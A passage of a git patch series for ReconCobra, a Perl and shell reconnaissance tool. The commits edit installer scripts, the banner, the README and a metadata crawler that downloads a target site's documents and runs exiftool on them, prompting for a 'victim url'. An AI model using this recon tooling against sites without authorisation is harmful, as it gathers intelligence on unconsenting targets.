e: + stderr(e) + print('downloaded %d / %d' % (downloaded_files, line_nb)) + + +if __name__ == '__main__': + run_cmd(argv) From af2bed31fc26e6fab25e786032b5607ce4e4f8fa Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Tue, 18 Jun 2019 20:00:33 +0500 Subject: [PATCH 013/272] Update ReconCobra.pl --- ReconCobra.pl | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index 05bce5f..16fc365 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -838,7 +838,7 @@ sub menu { print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); - chomp($mdc=); + #chomp($mdc=); print "\n"; Metadatacrawler(); enter(); @@ -847,7 +847,7 @@ sub menu { print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); - chomp($mgd=); + #chomp($mgd=); print "\n"; Metadatagoogler(); enter(); From 3c0194032375faafa5bede8c29175755485af3ba Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Tue, 18 Jun 2019 20:01:14 +0500 Subject: [PATCH 014/272] Update ReconCobra.pl --- ReconCobra.pl | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index 16fc365..e83d107 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -1816,7 +1816,7 @@ sub Metadatacrawler { print "success!\n"; } else { - print "[~] Make available meta crawler in same folder\n[~] Command failed\n"; + print "[~] Make available coba.sh in same folder\n[~] Command failed\n"; } } @@ -1828,7 +1828,7 @@ sub Metadatagoogler { print "Success!\n"; } else { - print "[~] Make available meta crawler in same folder\n[~] Command failed\n"; + print "[~] Make available cobb.sh in same folder\n[~] Command failed\n"; } } From c6bb2ca62afc32829c3fd87818253778f62b9e13 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Tue, 18 Jun 2019 21:23:09 +0500 Subject: [PATCH 015/272] Update coba.sh --- coba.sh | 18 +++++++++++++++++- 1 file changed, 17 insertions(+), 1 deletion(-) diff --git a/coba.sh b/coba.sh index 9cf7784..b69b710 100644 --- a/coba.sh +++ b/coba.sh @@ -12,6 +12,22 @@ echo "5. Creator = Software / OS Versions" echo "6. Mime = Content Information" echo "7. SVG = image/svg+xml; charset=us-ascii means XSS" echo "" -read -p "Enter victim url: " victim + +echo "[ + ] Enter TERMUX option for Termux else press RETURN :" +read $first + +if [ "$first" == 'TERMUX' ] + +then + +read -p "[ + ] Enter victim url in absolute format: " victim +echo "$victim" +python cobra_webmeta_crawler.py --wait=2 --download $victim + +else + +read -p "[ + ] Enter victim url: " victim echo "$victim" python3 cobra_webmeta_crawler.py --wait=2 --download $victim + +fi From a5683734daae167d14b7ade1b4eb6c53d82af074 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Tue, 18 Jun 2019 21:36:59 +0500 Subject: [PATCH 016/272] Update termuxinstaller.sh --- termuxinstaller.sh | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/termuxinstaller.sh b/termuxinstaller.sh index 5fcc1a1..6cdeda5 100644 --- a/termuxinstaller.sh +++ b/termuxinstaller.sh @@ -54,12 +54,15 @@ echo "y" | cpan install Mojo::DOM echo "y" | cpan install Data::Dumper echo "y" | cpan install Win32::Console::ANSI echo "y" | cpan install HTML::TableExtract -echo "y" | apt-get install golang -echo "y" | apt-get install curl +echo "y" | cpan install Data::Validate::Domain + echo -e "Installing dependencies ..."; echo "y" | apt-get install xdg-utils +echo "y" | apt-get install python-yaml echo "y" | apt-get install hping3 echo "y" | apt-get install python +echo "y" | apt-get install golang +echo "y" | apt-get install curl echo "y" | git clone https://github.com/haroonawanofficial/cobra.git echo "y" | git clone https://github.com/haroonawanofficial/maahro.git echo "y" | git clone https://github.com/haroonawanofficial/ShaheenX.git @@ -70,6 +73,8 @@ echo "y" | https://github.com/haroonawanofficial/vasl.git echo "y" | apt-get install nmap echo "y" | git clone https://github.com/haroonawanofficial/panthera.git echo "y" | git clone https://github.com/naqushab/SearchEngineScrapy.git +pip install requests +pip install request cd SearchEngineScrapy pip install -r requirements.txt virtualenv --python="2" env From baf6958dd7ac24bb9a25645ab94f4f063698b748 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Tue, 18 Jun 2019 21:37:20 +0500 Subject: [PATCH 017/272] Update termuxinstaller.sh --- termuxinstaller.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/termuxinstaller.sh b/termuxinstaller.sh index 6cdeda5..974c20c 100644 --- a/termuxinstaller.sh +++ b/termuxinstaller.sh @@ -23,7 +23,7 @@ clear echo "Ultimate Recon and Foot Printing Software Version 1.0a"; -echo "Termux Installer By: Hacker_Universe"; +echo "Termux Installer By: Hacker_Universe / Haroon Awan"; echo "Coded By: Haroon Awan"; echo "Mail: mrharoonawan@gmail.com"; echo ""; From b3b002e98b48133ac4b4631c8b66a7eeb31d7113 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Tue, 18 Jun 2019 21:37:55 +0500 Subject: [PATCH 018/272] Update installer.sh --- installer.sh | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/installer.sh b/installer.sh index 4ae521d..ef4822b 100644 --- a/installer.sh +++ b/installer.sh @@ -57,8 +57,8 @@ echo "y" | cpan install Mojo::DOM echo "y" | cpan install Data::Dumper echo "y" | cpan install Win32::Console::ANSI echo "y" | cpan install HTML::TableExtract -echo "y" | apt-get install golang -echo "y" | apt-get install curl +echo "y" | cpan install Data::Validate::Domain + echo -e "$red [$green+$red]$off Checking directories..." if [ -d "/usr/share/ReconCobra" ]; then echo -e "$red [$green+$red]$off A Directory ReconCobra Was Found! Do You Want To Replace It? [Y/n]:" ; @@ -89,8 +89,11 @@ perl /usr/share/ReconCobra/ReconCobra.pl" '${1+"$@"}' > "ReconCobra"; rm "ReconCobra"; echo "y" | apt-get install xdg-utils +echo "y" | apt-get install python-yaml echo "y" | apt-get install hping3 echo "y" | apt-get install python3 +echo "y" | apt-get install golang +echo "y" | apt-get install curl echo "y" | git clone https://github.com/haroonawanofficial/cobra.git echo "y" | git clone https://github.com/haroonawanofficial/maahro.git echo "y" | git clone https://github.com/haroonawanofficial/ShaheenX.git @@ -101,6 +104,8 @@ echo "y" | git clone https://github.com/haroonawanofficial/vasl.git echo "y" | git clone https://github.com/haroonawanofficial/panthera.git echo "y" | git clone https://github.com/naqushab/SearchEngineScrapy.git echo "y" | apt-get install nmap +pip install requests +pip install request cd SearchEngineScrapy pip install -r requirements.txt sudo virtualenv --python="2" env @@ -110,8 +115,7 @@ echo "y" | git clone https://github.com/FortyNorthSecurity/EyeWitness.git cd EyeWitness/setup chmod u+x setup.sh ./setup.sh -cd .. -chmod u+x *.sh + if [ -d "/usr/share/ReconCobra" ] ; then From 3369d496d56d02acbf475a3fba0efb13850545b6 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Tue, 18 Jun 2019 21:39:04 +0500 Subject: [PATCH 019/272] Update installer.sh --- installer.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/installer.sh b/installer.sh index ef4822b..58492a1 100644 --- a/installer.sh +++ b/installer.sh @@ -70,7 +70,7 @@ if [ -d "/usr/share/ReconCobra" ]; then sudo rm "/usr/local/bin/ReconCobra" else -echo -e "$red [$green✘$red]$off If You Want To Install You Must Remove Previous Installations"; +echo -e "$red [$green+$red]$off If You Want To Install You Must Remove Previous Installations"; exit fi fi @@ -123,7 +123,7 @@ echo -e "$red [$green+$red]$off ReconCobra Successfully Installed, Starting"; sleep 2; ReconCobra else -echo -e "$red [$green✘$red]$off ReconCobra Cannot Be Installed. Trying using Portable Edition !"; +echo -e "$red [$green+$red]$off ReconCobra Cannot Be Installed. Trying using Portable Edition !"; exit fi } @@ -133,6 +133,6 @@ banner echo -e "$red [$green+$red]$off ReconCobra Will Be Installed In Your System"; linux else -echo -e "$red [$green✘$red]$off ReconCobra Cannot Be Installed. Trying using Portable Edition !"; +echo -e "$red [$green+$red]$off ReconCobra Cannot Be Installed. Trying using Portable Edition !"; exit fi From 6a4ac3e2c5ab8d7a40bff9025af774c9b7394bba Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Tue, 18 Jun 2019 21:45:57 +0500 Subject: [PATCH 020/272] Update README.md --- README.md | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 70df7d9..6892c40 100644 --- a/README.md +++ b/README.md @@ -5,10 +5,9 @@ EULA # Interface -- Software have 66 Options with full automation and powerful information gathering with full potential -- Do Ignore picture quality for now +- Software have 66 Options with full automation and powerful information gathering
- +
From 875c104715bab306274cc23d9dd6d8fba120c042 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Tue, 18 Jun 2019 21:47:18 +0500 Subject: [PATCH 021/272] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 6892c40..2cdbb02 100644 --- a/README.md +++ b/README.md @@ -11,7 +11,7 @@ EULA
- +
From 2c38679fe829c74a65b07d01cd82a2ffdd236965 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Tue, 18 Jun 2019 21:48:56 +0500 Subject: [PATCH 022/272] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 2cdbb02..715dce5 100644 --- a/README.md +++ b/README.md @@ -15,7 +15,7 @@ EULA
- +
From 834e7177cba3de2c46ecfce411749d1268ebc926 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Tue, 18 Jun 2019 21:55:23 +0500 Subject: [PATCH 023/272] Update README.md --- README.md | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 715dce5..b2283ab 100644 --- a/README.md +++ b/README.md @@ -4,6 +4,9 @@ # LICENSE EULA +# ReconCobra +- Supported in Kali and Termux + # Interface - Software have 66 Options with full automation and powerful information gathering
@@ -18,6 +21,12 @@ EULA
+# In-Action +- Extracting subdomains via certificate search +
+ +
+ # Installation - git clone https://github.com/haroonawanofficial/Reconcobra.git @@ -26,8 +35,7 @@ EULA - ./installer.sh - ReconCobra will integrate as system software - Dependencies will be handled automatically -- Software needs Sed, Awk, Nmap, Bash on Kali for Kali -- Software needs minigw and Sed, Awk, Nmap, Bash on Windows for Windows +- Third party software(s)/dependencies/modules will be handled automatically # Standalone - perl reconcobra.pl From 0f5ea67b816a6eaf20f99a6149bce6939c75a353 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Tue, 18 Jun 2019 21:57:27 +0500 Subject: [PATCH 024/272] Update README.md --- README.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/README.md b/README.md index b2283ab..391ea46 100644 --- a/README.md +++ b/README.md @@ -27,6 +27,10 @@ EULA +
+ +
+ # Installation - git clone https://github.com/haroonawanofficial/Reconcobra.git From 51b45fe1f5ab75827b13a0ed46d28ff2c8015163 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Tue, 18 Jun 2019 21:57:52 +0500 Subject: [PATCH 025/272] Update README.md --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 391ea46..1e74b62 100644 --- a/README.md +++ b/README.md @@ -5,7 +5,8 @@ EULA # ReconCobra -- Supported in Kali and Termux +- Runs on Kali +- Runs on Termux # Interface - Software have 66 Options with full automation and powerful information gathering From 7a7277c543ae0d5ea2264327830d69dec78606bf Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Tue, 18 Jun 2019 22:02:02 +0500 Subject: [PATCH 026/272] Update README.md --- README.md | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 1e74b62..52c2329 100644 --- a/README.md +++ b/README.md @@ -8,7 +8,7 @@ EULA - Runs on Kali - Runs on Termux -# Interface +# Kali Interface - Software have 66 Options with full automation and powerful information gathering
@@ -32,6 +32,14 @@ EULA
+# Termux Interface +
+ +
+ +
+ +
# Installation - git clone https://github.com/haroonawanofficial/Reconcobra.git From ffc899805531c3472f4ba4cde8cbf81c1d1d7c97 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Tue, 18 Jun 2019 22:02:49 +0500 Subject: [PATCH 027/272] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 52c2329..87cfd64 100644 --- a/README.md +++ b/README.md @@ -38,7 +38,7 @@ EULA
- +
# Installation From ef7e15333b4cac9bfa32f946583b9295c3ab5b0f Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Tue, 18 Jun 2019 22:05:22 +0500 Subject: [PATCH 028/272] Update README.md --- README.md | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 87cfd64..5d7c121 100644 --- a/README.md +++ b/README.md @@ -41,7 +41,7 @@ EULA -# Installation +# Kali Installation - git clone https://github.com/haroonawanofficial/Reconcobra.git - cd Reconcobra - sudo chmod u+x *.sh @@ -50,8 +50,17 @@ EULA - Dependencies will be handled automatically - Third party software(s)/dependencies/modules will be handled automatically -# Standalone -- perl reconcobra.pl +# Termux Installation +- git clone https://github.com/haroonawanofficial/Reconcobra.git +- cd Reconcobra +- chmod u+x *.sh +- ./termuxinstaller.sh +- ReconCobra will integrate as system software for Termux +- Dependencies will be handled automatically for Termux +- Third party software(s)/dependencies/modules will be handled automatically for Termux + +# Universal Stand-alone +- perl ReconCobra.pl # Mail - mrharoonawan@gmail.com From d367abc0e8e5fac4210e429cf266a3aca8536c50 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Wed, 19 Jun 2019 12:35:00 +0500 Subject: [PATCH 029/272] Update cob_b.sh --- cob_b.sh | 61 ++++++++++++++++++++++++++++---------------------------- 1 file changed, 31 insertions(+), 30 deletions(-) diff --git a/cob_b.sh b/cob_b.sh index 7da0ee8..27fb3e9 100644 --- a/cob_b.sh +++ b/cob_b.sh @@ -1,35 +1,35 @@ #!/bin/bash wget -i metacrawler_googlefiles.txt -cd exiftool -./exiftool *.pdf > pdfmetacrawler_results.txt -./exiftool *.svg > svgmetacrawler_results.txt -./exiftool *.doc > docmetacrawler_results.txt -./exiftool *.xls > xlsmetacrawler_results.txt -./exiftool *.xlsx > xslxmetacrawler_results.txt -./exiftool *.ppt > pptmetacrawler_results.txt -./exiftool *.pptx > pptxmetacrawler_results.txt -./exiftool *.csv > csvmetacrawler_results.txt -./exiftool *.rtf > rtfmetacrawler_results.txt -./exiftool *.zip > zipmetacrawler_results.txt -./exiftool *.rtf > rtfmetacrawler_results.txt -./exiftool *rar > rarmetacrawler_results.txt -./exiftool *.tgz > tgzmetacrawler_results.txt -./exiftool *.gz > gzmetacrawler_results.txt -./exiftool *.xz > xzmetacrawler_results.txt +mkdir downloaded_pdf_files mkdir metacrawler_results -cp *.pdf /metacrawler_results/ -cp *.svg /metacrawler_results/ -cp *.doc /metacrawler_results/ -cp *.xls /metacrawler_results/ -cp *.xlsx /metacrawler_results/ -cp *.ppt /metacrawler_results/ -cp *.pptx /metacrawler_results/ -cp *.csv /metacrawler_results/ -cp *.rtf /metacrawler_results/ -cp *.tgz /metacrawler_results/ -cp *.gz /metacrawler_results/ -cp *.xz /metacrawler_results/ -cd .. +cd exiftool +./exiftool *.pdf > ./metacrawler_results/pdfmetacrawler_results.txt +./exiftool *.svg > ./metacrawler_results/svgmetacrawler_results.txt +./exiftool *.doc > ./metacrawler_results/docmetacrawler_results.txt +./exiftool *.xls > ./metacrawler_results/xlsmetacrawler_results.txt +./exiftool *.xlsx > ./metacrawler_results/xslxmetacrawler_results.txt +./exiftool *.ppt > ./metacrawler_results/pptmetacrawler_results.txt +./exiftool *.pptx > ./metacrawler_results/pptxmetacrawler_results.txt +./exiftool *.csv > ./metacrawler_results/csvmetacrawler_results.txt +./exiftool *.rtf > ./metacrawler_results/rtfmetacrawler_results.txt +./exiftool *.zip > ./metacrawler_results/zipmetacrawler_results.txt +./exiftool *.rtf > ./metacrawler_results/rtfmetacrawler_results.txt +./exiftool *rar > ./metacrawler_results/rarmetacrawler_results.txt +./exiftool *.tgz > ./metacrawler_results/tgzmetacrawler_results.txt +./exiftool *.gz > ./metacrawler_results/gzmetacrawler_results.txt +./exiftool *.xz > ./metacrawler_results/xzmetacrawler_results.txt +cp *.pdf ./downloaded_pdf_files/ +cp *.svg ./downloaded_pdf_files/ +cp *.doc ./downloaded_pdf_files/ +cp *.xls ./downloaded_pdf_files/ +cp *.xlsx ./downloaded_pdf_files/ +cp *.ppt ./downloaded_pdf_files/ +cp *.pptx ./downloaded_pdf_files/ +cp *.csv ./downloaded_pdf_files/ +cp *.rtf ./downloaded_pdf_files/ +cp *.tgz ./downloaded_pdf_files/ +cp *.gz ./downloaded_pdf_files/ +cp *.xz ./downloaded_pdf_files/ rm *.pdf rm *.svg rm *.doc @@ -41,4 +41,5 @@ rm *.csv rm *.rtf rm *.tgz rm *.gz -rm *.xz \ No newline at end of file +rm *.xz +cd .. From c753268362ab07cb1dd4577aa9a1aed36977b7fc Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Wed, 19 Jun 2019 13:08:10 +0500 Subject: [PATCH 030/272] Update ReconCobra.pl --- ReconCobra.pl | 36 +++++++++++++++++++----------------- 1 file changed, 19 insertions(+), 17 deletions(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index e83d107..076c73b 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -605,28 +605,30 @@ sub help { sub banner { if ($^O =~ /MSWin32/) {system("mode con: cols=130 lines=40");system("cls"); }else { system("resize -s 40 130");system("clear"); } -print color('bold red')," _.--\\....\n"; -print color('bold red')," _....---;:'::' ~ __/\n"; -print color('bold red')," .' `'`___....---=-'`\n"; -print color('bold red')," /::' (` \n"; -print color('bold red')," ' `:. \n"; -print color('bold red')," `\::. ';-\"\":::-._ \{\}\n"; -print color('bold green'),"# ------------ -------- ----------- ----------- ------";print color('bold red')," _.--'`\:' .'`-.`'`.' `{I}\n"; -print color('bold green'),"# ************ ********** *********** *********** ********";print color('bold red')," .-' `' .;;`\::. '. _: {-I}`\/\n"; -print color('bold green'),"# --- ---- ---- ---- ** ---- --- ---------- ";print color('bold red')," .' .:. `:: _)::: _;' `{=I}.:||\n"; -print color('bold green'),"# *** *** *** *********** ********* **** ****";print color('bold red')," /. ::::`\":::` ':'.-'`':. {_I}:://\n"; -print color('bold green'),"# --- --- --- ----------- --------- ------------ ";print color('bold red'),"|:. ':' ::::: .':'`:. `'|':||:'\n"; -print color('bold green'),"# *** **** **** **** ** **** **** ************";print color('bold red')," \\: .:. ''' .:| .:, _:./':.|\n"; -print color('bold green'),"# ------------ ---------- ----------- ---- ---- ---- ----";print color('bold red')," '--.:::...---'\\:'.:`':`':./\n"; -print color('bold green'),"# ------------ ---------- ----------- ---- ---- ---- ---- ";print color('bold red')," \'-::..:::-\'\n"; +print color('bold green on_black'); +print" ▄████████##▄██████▄##▀█████████▄#####▄████████####▄████████#\n"; +print" ███####███#███####███###███####███###███####███###███####███#\n"; +print" ███####█▀##███####███###███####███###███####███###███####███#\n"; +print" ███########███####███##▄███▄▄▄██▀###▄███▄▄▄▄██▀###███####███#\n"; +print" ███########███####███#▀▀███▀▀▀██▄##▀▀███▀▀▀▀▀###▀███████████#\n"; +print" ███####█▄##███####███###███####██▄#▀███████████###███####███#\n"; +print" ███####███#███####███###███####███###███####███###███####███#\n"; +print" ████████▀###▀██████▀##▄█████████▀####███####███###███####█▀##\n"; +print" #####################################███####███##############\n"; print color('reset'); -print color('bold black on_white'),"# Recon Cobra ";print color('reset'),"";print color('bold white on_red')," version 1.9a, [Coded By: Haroon Awan], -[Mail: mrharoonawan\@gmail.com]\n"; +print color('bold red on_black')," Info ";print color('reset'),"";print color('bold white')," version 1.9a, [Coded By: Haroon Awan]\n"; print color('reset'); -print color('bold black on_white'),"# Official Web ";print color('reset'),"";print color('bold white on_red')," http://www.mubassirkamdar.com - fb.com\\Mubassir.py\n"; +print color('bold red on_blue')," Mail ";print color('reset'),"";print color('bold red')," mrharoonawan\@gmail.com\n"; print color('reset'); -print color('bold black on_white'),"# Instagram ";print color('reset'),"";print color('bold white on_red')," http://www.instagram.com/\Hacker_Universe\n"; +print color('bold yellow on_red')," Official Web ";print color('reset'),"";print color('bold yellow')," http://www.mubassirkamdar.com\n"; +print color('reset'); + +print color('bold green on_black')," Facebook ";print color('reset'),"";print color('bold green')," fb.com\\Mubassir.py\n"; +print color('reset'); + +print color('bold white on_blue')," Instagram ";print color('reset'),"";print color('bold white')," http://www.instagram.com/\Hacker_Universe\n"; print color('reset'); From 877b78ef856a0bed202ce5cf01eea435304b9cd4 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Wed, 19 Jun 2019 13:09:45 +0500 Subject: [PATCH 031/272] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 5d7c121..bdbb496 100644 --- a/README.md +++ b/README.md @@ -11,7 +11,7 @@ EULA # Kali Interface - Software have 66 Options with full automation and powerful information gathering
- +
From 22891b6e2ddfcdcba1f30906cf39df2606f179e9 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Wed, 19 Jun 2019 15:13:43 +0500 Subject: [PATCH 032/272] Update ReconCobra.pl --- ReconCobra.pl | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index 076c73b..6c6ea48 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -1815,7 +1815,7 @@ sub Websiterecon { #--------------------------------------------------------------# sub Metadatacrawler { if (system("./coba.sh") == 0) { - print "success!\n"; + print "Success!\n"; } else { print "[~] Make available coba.sh in same folder\n[~] Command failed\n"; @@ -1827,7 +1827,9 @@ sub Metadatacrawler { #--------------------------------------------------------------# sub Metadatagoogler { if (system("./cobb.sh") == 0) { - print "Success!\n"; + print "Success! \n"; + print "Downlaoded meta files are stored in downloaded_meta_files directory \n"; + print "Results are stored in metacrawler_results directory \n"; } else { print "[~] Make available cobb.sh in same folder\n[~] Command failed\n"; From 2cf51cfa95f466d674f33d4605f00b213541c67a Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Wed, 19 Jun 2019 15:14:00 +0500 Subject: [PATCH 033/272] Update cob_b.sh --- cob_b.sh | 56 ++++++++++++++++++++++++++++---------------------------- 1 file changed, 28 insertions(+), 28 deletions(-) diff --git a/cob_b.sh b/cob_b.sh index 27fb3e9..3820f63 100644 --- a/cob_b.sh +++ b/cob_b.sh @@ -1,35 +1,35 @@ #!/bin/bash wget -i metacrawler_googlefiles.txt -mkdir downloaded_pdf_files +mkdir downloaded_meta_files mkdir metacrawler_results cd exiftool -./exiftool *.pdf > ./metacrawler_results/pdfmetacrawler_results.txt -./exiftool *.svg > ./metacrawler_results/svgmetacrawler_results.txt -./exiftool *.doc > ./metacrawler_results/docmetacrawler_results.txt -./exiftool *.xls > ./metacrawler_results/xlsmetacrawler_results.txt -./exiftool *.xlsx > ./metacrawler_results/xslxmetacrawler_results.txt -./exiftool *.ppt > ./metacrawler_results/pptmetacrawler_results.txt -./exiftool *.pptx > ./metacrawler_results/pptxmetacrawler_results.txt -./exiftool *.csv > ./metacrawler_results/csvmetacrawler_results.txt -./exiftool *.rtf > ./metacrawler_results/rtfmetacrawler_results.txt -./exiftool *.zip > ./metacrawler_results/zipmetacrawler_results.txt -./exiftool *.rtf > ./metacrawler_results/rtfmetacrawler_results.txt -./exiftool *rar > ./metacrawler_results/rarmetacrawler_results.txt -./exiftool *.tgz > ./metacrawler_results/tgzmetacrawler_results.txt -./exiftool *.gz > ./metacrawler_results/gzmetacrawler_results.txt -./exiftool *.xz > ./metacrawler_results/xzmetacrawler_results.txt -cp *.pdf ./downloaded_pdf_files/ -cp *.svg ./downloaded_pdf_files/ -cp *.doc ./downloaded_pdf_files/ -cp *.xls ./downloaded_pdf_files/ -cp *.xlsx ./downloaded_pdf_files/ -cp *.ppt ./downloaded_pdf_files/ -cp *.pptx ./downloaded_pdf_files/ -cp *.csv ./downloaded_pdf_files/ -cp *.rtf ./downloaded_pdf_files/ -cp *.tgz ./downloaded_pdf_files/ -cp *.gz ./downloaded_pdf_files/ -cp *.xz ./downloaded_pdf_files/ +./exiftool *.pdf > ../metacrawler_results/pdfmetacrawler_results.txt +./exiftool *.svg > ../metacrawler_results/svgmetacrawler_results.txt +./exiftool *.doc > ../metacrawler_results/docmetacrawler_results.txt +./exiftool *.xls > ../metacrawler_results/xlsmetacrawler_results.txt +./exiftool *.xlsx > ../metacrawler_results/xslxmetacrawler_results.txt +./exiftool *.ppt > ../metacrawler_results/pptmetacrawler_results.txt +./exiftool *.pptx > ../metacrawler_results/pptxmetacrawler_results.txt +./exiftool *.csv > ../metacrawler_results/csvmetacrawler_results.txt +./exiftool *.rtf > ../metacrawler_results/rtfmetacrawler_results.txt +./exiftool *.zip > ../metacrawler_results/zipmetacrawler_results.txt +./exiftool *.rtf > ../metacrawler_results/rtfmetacrawler_results.txt +./exiftool *rar > ../metacrawler_results/rarmetacrawler_results.txt +./exiftool *.tgz > ../metacrawler_results/tgzmetacrawler_results.txt +./exiftool *.gz > ../metacrawler_results/gzmetacrawler_results.txt +./exiftool *.xz > ../metacrawler_results/xzmetacrawler_results.txt +cp *.pdf ../downloaded_meta_files/ +cp *.svg ../downloaded_meta_files/ +cp *.doc ../downloaded_meta_files/ +cp *.xls ../downloaded_meta_files/ +cp *.xlsx ../downloaded_meta_files/ +cp *.ppt ../downloaded_meta_files/ +cp *.pptx ../downloaded_meta_files/ +cp *.csv ../downloaded_meta_files/ +cp *.rtf ../downloaded_meta_files/ +cp *.tgz ../downloaded_meta_files/ +cp *.gz ../downloaded_meta_files/ +cp *.xz ../downloaded_meta_files/ rm *.pdf rm *.svg rm *.doc From a1fc2ca14824eb9c1c322b95a08f97bfaa543dc5 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Wed, 19 Jun 2019 19:04:05 +0500 Subject: [PATCH 034/272] Update ReconCobra.pl --- ReconCobra.pl | 307 +++++++++++++++++++++++++------------------------- 1 file changed, 154 insertions(+), 153 deletions(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index 6c6ea48..1d10116 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -606,109 +606,109 @@ sub banner { if ($^O =~ /MSWin32/) {system("mode con: cols=130 lines=40");system("cls"); }else { system("resize -s 40 130");system("clear"); } print color('bold green on_black'); -print" ▄████████##▄██████▄##▀█████████▄#####▄████████####▄████████#\n"; -print" ███####███#███####███###███####███###███####███###███####███#\n"; -print" ███####█▀##███####███###███####███###███####███###███####███#\n"; -print" ███########███####███##▄███▄▄▄██▀###▄███▄▄▄▄██▀###███####███#\n"; -print" ███########███####███#▀▀███▀▀▀██▄##▀▀███▀▀▀▀▀###▀███████████#\n"; -print" ███####█▄##███####███###███####██▄#▀███████████###███####███#\n"; -print" ███####███#███####███###███####███###███####███###███####███#\n"; -print" ████████▀###▀██████▀##▄█████████▀####███####███###███####█▀##\n"; -print" #####################################███####███##############\n"; +print" ▄████████##▄██████▄##▀█████████▄#####▄████████####▄████████#\n"; +print" ███####███#███####███###███####███###███####███###███####███#\n"; +print" ███####█▀##███####███###███####███###███####███###███####███#\n"; +print" ███########███####███##▄███▄▄▄██▀###▄███▄▄▄▄██▀###███####███#\n"; +print" ███########███####███#▀▀███▀▀▀██▄##▀▀███▀▀▀▀▀###▀███████████#\n"; +print" ███####█▄##███####███###███####██▄#▀███████████###███####███#\n"; +print" ███####███#███####███###███####███###███####███###███####███#\n"; +print" ████████▀###▀██████▀##▄█████████▀####███####███###███####█▀##\n"; +print" #####################################███####███##############\n"; print color('reset'); -print color('bold red on_black')," Info ";print color('reset'),"";print color('bold white')," version 1.9a, [Coded By: Haroon Awan]\n"; +print color('bold red on_black')," Info ";print color('reset'),"";print color('bold white')," version 1.9a, [Coded By: Haroon Awan]\n"; print color('reset'); -print color('bold red on_blue')," Mail ";print color('reset'),"";print color('bold red')," mrharoonawan\@gmail.com\n"; +print color('bold red on_blue')," Mail ";print color('reset'),"";print color('bold red')," mrharoonawan\@gmail.com\n"; print color('reset'); -print color('bold yellow on_red')," Official Web ";print color('reset'),"";print color('bold yellow')," 